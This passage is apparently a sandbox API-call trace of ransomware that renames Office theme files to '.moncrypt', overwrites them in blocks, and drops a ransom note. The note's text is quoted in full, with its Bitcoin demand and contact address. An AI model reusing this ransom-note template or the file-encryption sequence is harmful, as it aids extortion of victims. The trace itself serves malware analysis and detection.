lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0052.684] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0052.695] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0052.695] CloseHandle (hObject=0x18c) returned 1 [0052.696] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.696] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0052.696] CloseHandle (hObject=0x18c) returned 1 [0052.697] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM.moncrypt", dwFileAttributes=0x20) returned 1 [0052.697] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0052.697] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.697] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.697] GlobalUnlock (hMem=0x440004) returned 0 [0052.697] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.697] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.697] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.697] GlobalUnlock (hMem=0x440004) returned 0 [0052.697] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.697] GlobalUnlock (hMem=0x44000c) returned 0 [0052.697] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0052.697] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a390, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0052.698] GetLastError () returned 0x2 [0052.698] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.699] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0052.700] CloseHandle (hObject=0x18c) returned 1 [0052.701] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD.INF", cAlternateFileName="")) returned 1 [0052.701] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.701] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.701] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.701] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.701] GlobalUnlock (hMem=0x44000c) returned 0 [0052.701] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.701] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.701] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.701] GlobalUnlock (hMem=0x44000c) returned 0 [0052.701] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.701] GlobalUnlock (hMem=0x440004) returned 0 [0052.701] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.701] CharLowerBuffW (in: lpsz="QUAD.INF", cchLength=0x8 | out: lpsz="quad.inf") returned 0x8 [0052.701] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.701] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.701] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.701] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.701] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.701] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.702] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.702] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="q", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="qê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.702] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0052.702] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", cchWideChar=69, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", lpUsedDefaultChar=0x0) returned 69 [0052.702] CharLowerBuffW (in: lpsz=".INF", cchLength=0x4 | out: lpsz=".inf") returned 0x4 [0052.702] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inf", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".infShared\\THEMES14\\QUAD\\QUAD.INF", lpUsedDefaultChar=0x0) returned 4 [0052.702] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0052.702] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.702] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.702] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.702] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.702] GlobalUnlock (hMem=0x440004) returned 0 [0052.702] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.702] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.702] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.702] GlobalUnlock (hMem=0x440004) returned 0 [0052.702] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.702] GlobalUnlock (hMem=0x44000c) returned 0 [0052.702] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.703] CharLowerBuffW (in: lpsz="THMBNAIL.PNG", cchLength=0xc | out: lpsz="thmbnail.png") returned 0xc [0052.703] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.703] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.703] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.703] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.703] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.703] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.703] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.703] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.703] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.703] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.703] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.703] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.703] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0052.703] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", cchWideChar=73, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 73 [0052.703] CharLowerBuffW (in: lpsz=".PNG", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0052.703] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngShared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 4 [0052.703] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0x54e240 [0052.704] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0052.704] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0052.704] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0052.704] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", dwFileAttributes=0x20) returned 1 [0052.705] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0052.705] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.moncrypt")) returned 1 [0052.705] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.705] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.705] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x90f8 [0052.705] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.705] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0052.707] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.707] GlobalLock (hMem=0x440004) returned 0x55bb88 [0052.707] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0052.707] GlobalUnlock (hMem=0x440004) returned 0 [0052.707] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0052.707] GlobalLock (hMem=0x440004) returned 0x55bb88 [0052.708] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0052.708] GlobalUnlock (hMem=0x440004) returned 0 [0052.708] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0052.708] GlobalLock (hMem=0x440004) returned 0x55bb88 [0052.708] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.708] GlobalUnlock (hMem=0x44000c) returned 0 [0052.708] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0052.708] GlobalUnlock (hMem=0x440004) returned 0 [0052.708] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.708] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.708] GlobalUnlock (hMem=0x440004) returned 0 [0052.708] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0052.708] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.708] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.708] GlobalUnlock (hMem=0x440004) returned 0 [0052.708] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0052.708] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0052.709] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0052.709] SetFilePointer (in: hFile=0x18c, lDistanceToMove=37112, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x90f8 [0052.709] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0052.709] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0052.709] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d88*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0052.720] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0052.720] CloseHandle (hObject=0x18c) returned 1 [0052.721] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.721] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0052.721] CloseHandle (hObject=0x18c) returned 1 [0052.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0052.722] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0052.722] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.722] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.722] GlobalUnlock (hMem=0x440004) returned 0 [0052.722] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.722] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.722] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.722] GlobalUnlock (hMem=0x440004) returned 0 [0052.722] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.722] GlobalUnlock (hMem=0x44000c) returned 0 [0052.722] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0052.722] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40987be0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x40987be0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x409add40, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0052.723] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0052.723] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0052.723] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0052.723] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.723] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.723] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0052.723] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.723] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: 